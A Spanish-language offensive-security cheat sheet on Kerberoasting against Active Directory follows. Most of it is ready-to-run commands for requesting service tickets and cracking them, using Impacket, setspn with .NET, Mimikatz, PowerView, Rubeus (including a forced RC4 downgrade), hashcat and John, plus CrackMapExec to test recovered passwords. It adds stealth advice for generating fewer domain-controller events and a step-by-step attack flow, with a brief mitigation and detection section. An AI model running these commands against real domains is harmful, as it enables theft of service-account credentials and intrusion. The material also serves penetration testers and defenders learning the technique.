Kerberoasting

¿Qué es?

Kerberoasting abusa del proceso normal de autenticación Kerberos para obtener material crackeable offline correspondiente a cuentas de servicio. Cuando un usuario solicita acceso a un servicio registrado en el dominio (identificado por su SPN — Service Principal Name, como MSSQLSvc/servidor:1433), el KDC (Key Distribution Center, típicamente el propio controlador de dominio) emite un ticket TGS (Ticket Granting Service) cifrado con una clave derivada de la contraseña de la cuenta de servicio asociada a ese SPN.

Como cualquier usuario autenticado en el dominio puede solicitar un TGS para cualquier SPN registrado (esto es parte normal y legítimo del protocolo Kerberos, no una vulnerabilidad de software), un atacante puede solicitar tickets para todas las cuentas de servicio del dominio y luego intentar crackear offline la clave con la que están cifrados — recuperando así la contraseña en texto plano de la cuenta de servicio si esta es lo suficientemente débil.

Por qué es de alto impacto

• Requisitos mínimos: el atacante solo necesita estar autenticado en el dominio con cualquier cuenta (ni siquiera privilegiada) — no requiere ningún privilegio especial ni vulnerabilidad de software.
• Cuentas de servicio suelen tener privilegios elevados: es común (y una mala práctica extendida) que las cuentas de servicio tengan membresía en grupos privilegiados o acceso directo a sistemas críticos (SQL Server, aplicaciones internas), ya que "es más fácil" darles privilegios amplios que gestionar permisos granulares.
• Contraseñas frecuentemente débiles y estáticas: a diferencia de las cuentas de usuario (sujetas a políticas de rotación y complejidad), las cuentas de servicio a menudo se configuran una sola vez al desplegar la aplicación y nunca se rotan — un candidato ideal para crackeo offline sin límite de intentos.

---

Desde Linux

GetUserSPNs.py (Impacket)

❯ GetUserSPNs.py -h

Listar cuentas con SPN configurado (sin solicitar tickets todavía — reconocimiento inicial):

❯ GetUserSPNs.py -dc-ip 172.16.5.5 EMPRESACORP.LOCAL/jsmith

Solicitar TGS para todas las cuentas con SPN encontradas:

❯ GetUserSPNs.py -dc-ip 172.16.5.5 EMPRESACORP.LOCAL/jsmith -request

Solicitar el TGS de un usuario específico únicamente (más silencioso — genera un solo evento de solicitud de ticket en vez de docenas):

❯ GetUserSPNs.py -dc-ip 172.16.5.5 EMPRESACORP.LOCAL/jsmith -request-user svc_sql

Guardar el hash directamente a archivo en vez de solo mostrarlo por pantalla:

❯ GetUserSPNs.py -dc-ip 172.16.5.5 EMPRESACORP.LOCAL/jsmith -request-user svc_sql -outputfile svc_sql_tgs

Cross-forest (cuando existe una relación de confianza entre bosques y se quiere atacar cuentas de servicio de un dominio distinto al que se tienen credenciales):

❯ GetUserSPNs.py -target-domain OTRODOMINIO.LOCAL EMPRESACORP.LOCAL/jsmith
❯ GetUserSPNs.py -request -target-domain OTRODOMINIO.LOCAL EMPRESACORP.LOCAL/jsmith -outputfile tgs.txt

Crackear con Hashcat

❯ hashcat -m 13100 svc_sql_tgs /usr/share/wordlists/rockyou.txt

• El modo 13100 corresponde a TGS-REP con cifrado RC4 (etype 23) — el escenario más común y también el más rápido de crackear.
• Si la cuenta usa AES (ver sección de tipo de cifrado más abajo), usar el modo 19700 (AES-256) o 19600 (AES-128) según corresponda — considerablemente más lento de crackear que RC4.

Ampliar el ataque con reglas de mutación si rockyou.txt solo no da resultado:

❯ hashcat -m 13100 svc_sql_tgs /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Verificar la credencial obtenida

❯ sudo crackmapexec smb 172.16.5.5 -u svc_sql -p 'database!'

• Confirma que la contraseña crackeada es efectivamente válida contra el dominio antes de intentar usarla para acceso o movimiento lateral — un hash puede crackearse "exitosamente" en un formato que resulte no ser la contraseña real si hubo un error en el proceso de captura.

---

Desde Windows — método manual

Enumerar SPNs con setspn.exe (binario nativo de Windows, sin dependencias adicionales)

setspn.exe -Q */*
setspn.exe -T EMPRESACORP.LOCAL -Q */*

Solicitar ticket para un SPN específico (vía .NET, sin herramientas externas)

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/sql01.empresacorp.local:1433"

• El ticket solicitado queda automáticamente en la caché de Kerberos de la sesión actual, visible con klist. Esta técnica es puramente "living off the land": no requiere ninguna herramienta ofensiva, solo una clase estándar del framework .NET presente en cualquier Windows con .NET Framework instalado.

Solicitar todos los tickets encontrados con setspn, en una sola línea

setspn.exe -T EMPRESACORP.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

Extraer los tickets de la caché con Mimikatz

mimikatz # base64 /out:true
mimikatz # kerberos::list /export

• kerberos::list /export exporta cada ticket TGS de la caché de la sesión actual a un archivo .kirbi individual, listo para convertir al formato crackeable en el siguiente paso.

Convertir .kirbi a formato crackeable

Con kirbi2john (parte del proyecto kerberoast): https://github.com/nidem/kerberoast

❯ python2.7 kirbi2john.py svc_sql.kirbi
❯ kirbi2john svc_sql.kirbi > crack_file

Crackear con John the Ripper:

❯ john --wordlist=/usr/share/wordlists/rockyou.txt crack_file

O adaptar el formato de salida de kirbi2john (que no es directamente compatible con hashcat) para usarlo con hashcat en su lugar:

❯ echo "<base64 blob>" | tr -d '\n'
❯ cat encoded_file | base64 -d > svc_sql.kirbi
❯ hashcat -m 13100 crack_file /usr/share/wordlists/rockyou.txt

---

Desde Windows — PowerView

Import-Module .\PowerView.ps1

# Listar cuentas con SPN
Get-DomainUser * -spn | select samaccountname

Obtener el TGS de una cuenta específica directamente en formato Hashcat (evita el paso intermedio de convertir .kirbi):

Get-DomainUser -Identity svc_sql | Get-DomainSPNTicket -Format Hashcat

Exportar todos los TGS a un CSV para procesamiento posterior en bloque:

Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\empresacorp_tgs.csv -NoTypeInformation

---

Desde Windows — Rubeus

• Repositorio: https://github.com/GhostPack/Rubeus

Rubeus es la herramienta más completa y flexible para Kerberoasting desde Windows, con soporte nativo de opsec (filtrado por privilegio, control de tipo de cifrado, formato directo hashcat).

Ver estadísticas de cuentas Kerberoasteables sin llegar a solicitar tickets todavía (reconocimiento no intrusivo):

.\Rubeus.exe kerberoast /stats

Kerberoasting dirigido — solo cuentas con admincount=1 (miembros actuales o pasados de grupos privilegiados), maximizando impacto con el mínimo de ruido generado (menos solicitudes de tickets = menos eventos):

.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap

Kerberoast de un usuario específico ya identificado como objetivo de interés:

.\Rubeus.exe kerberoast /user:svc_sql /nowrap

Forzar cifrado RC4 aunque la cuenta soporte/prefiera AES, abusando de la delegación del TGT (/tgtdeleg) para negociar un tipo de cifrado más débil y fácil de crackear:

.\Rubeus.exe kerberoast /tgtdeleg /user:svc_sql /nowrap

Guardar los resultados directamente a archivo:

.\Rubeus.exe kerberoast /outfile:hashes.txt /nowrap

• /nowrap : evita que el hash se divida en múltiples líneas/columnas, entregándolo en una sola línea lista para pegar directamente en hashcat — sin este flag, hay que reconstruir el hash manualmente antes de poder crackearlo.
• /tgtdeleg : fuerza el uso de RC4 (etype 23) incluso en cuentas configuradas para preferir AES, aprovechando cómo el KDC maneja la delegación de TGT — de mayor impacto ofensivo, pero también más detectable (ver sección de OPSEC más abajo), ya que downgrade de cifrado en solicitudes Kerberos es un patrón que EDRs/SIEMs modernos pueden correlacionar.

Verificar qué tipo de cifrado soporta una cuenta antes de atacarla

Get-DomainUser svc_sql -Properties samaccountname,serviceprincipalname,msds-supportedencryptiontypes

• msds-supportedencryptiontypes : 0 o vacío → RC4 por defecto (rápido de crackear). 24 → solo AES (AES-128 + AES-256, mucho más lento de crackear, del orden de 10-100x menos intentos/segundo en hashcat comparado con RC4).
• Priorizar cuentas con RC4 (o forzarlo vía /tgtdeleg) cuando el tiempo de crackeo disponible es limitado.

Modos de Hashcat según el tipo de cifrado

# RC4 (etype 23) — el más común y considerablemente más rápido de crackear
❯ hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt

# AES-128 (etype 17)
❯ hashcat -m 19600 hash.txt /usr/share/wordlists/rockyou.txt

# AES-256 (etype 18) — el más lento
❯ hashcat -m 19700 hash.txt /usr/share/wordlists/rockyou.txt

---

Nota sobre Group Managed Service Accounts (gMSA)

Las cuentas gMSA (identificables por el sufijo $ en su nombre y gestionadas automáticamente por AD) usan contraseñas de 240 caracteres generadas y rotadas automáticamente por el sistema — Kerberoasting técnicamente sigue funcionando contra ellas (se puede solicitar el TGS igual), pero crackear offline una contraseña de 240 caracteres verdaderamente aleatorios es computacionalmente inviable en la práctica. Si se identifica que una cuenta de servicio de alto valor es una gMSA, este vector deja de ser productivo y conviene pivotar hacia otras técnicas (por ejemplo, buscar qué principals tienen permiso de lectura sobre la contraseña gestionada de esa gMSA, un vector de ataque completamente distinto).

Consideraciones de OPSEC

• Cada solicitud de TGS para un SPN genera un evento 4769 (A Kerberos service ticket was requested) en el controlador de dominio — solicitar tickets para todas las cuentas con SPN del dominio de una sola vez genera un pico de eventos 4769 fácilmente correlacionable por un SOC con reglas de detección básicas.
• Preferir Kerberoasting dirigido (/user: o /ldapfilter:'admincount=1') sobre un volcado masivo cuando el sigilo importa — reduce el volumen de eventos generados a solo las cuentas de interés real.
• El uso de /tgtdeleg para forzar downgrade a RC4 es, en particular, un patrón de detección conocido (solicitudes de servicio con etype=23 cuando la cuenta soporta AES) — algunos entornos con Advanced Threat Analytics/Defender for Identity alertan específicamente sobre esto.

Mitigación

• Migrar cuentas de servicio a gMSA siempre que la aplicación lo soporte, eliminando por completo la viabilidad práctica del crackeo offline.
• Si gMSA no es viable, exigir contraseñas largas (25+ caracteres) y aleatorias para toda cuenta de servicio con SPN, y rotarlas periódicamente igual que cualquier cuenta privilegiada.
• Configurar msds-supportedencryptiontypes para forzar AES-only en todas las cuentas de servicio, eliminando la posibilidad de downgrade a RC4.
• Monitorear específicamente el evento 4769 por volumen anómalo (muchas solicitudes de tickets distintos desde una misma sesión/usuario en un corto periodo) y por tickets solicitados con etype=23 para cuentas configuradas para AES.

Flujo recomendado

1. Listar SPNs y priorizar cuentas privilegiadas (adminCount=1, membresía en grupos con acceso a sistemas críticos)
2. Verificar msds-supportedencryptiontypes de las cuentas priorizadas
3. Solicitar TGS con /nowrap para formato directo Hashcat (dirigido, no masivo, si el sigilo importa)
4. Si la cuenta es AES-only, evaluar /tgtdeleg (con el costo de OPSEC que implica) o aceptar el crackeo más lento con -m 19700
5. Crackear con hashcat, ampliando con reglas de mutación si el diccionario base no alcanza
6. Verificar la credencial con CrackMapExec/NetExec antes de darla por válida
7. Descartar la cuenta como vector si resulta ser una gMSA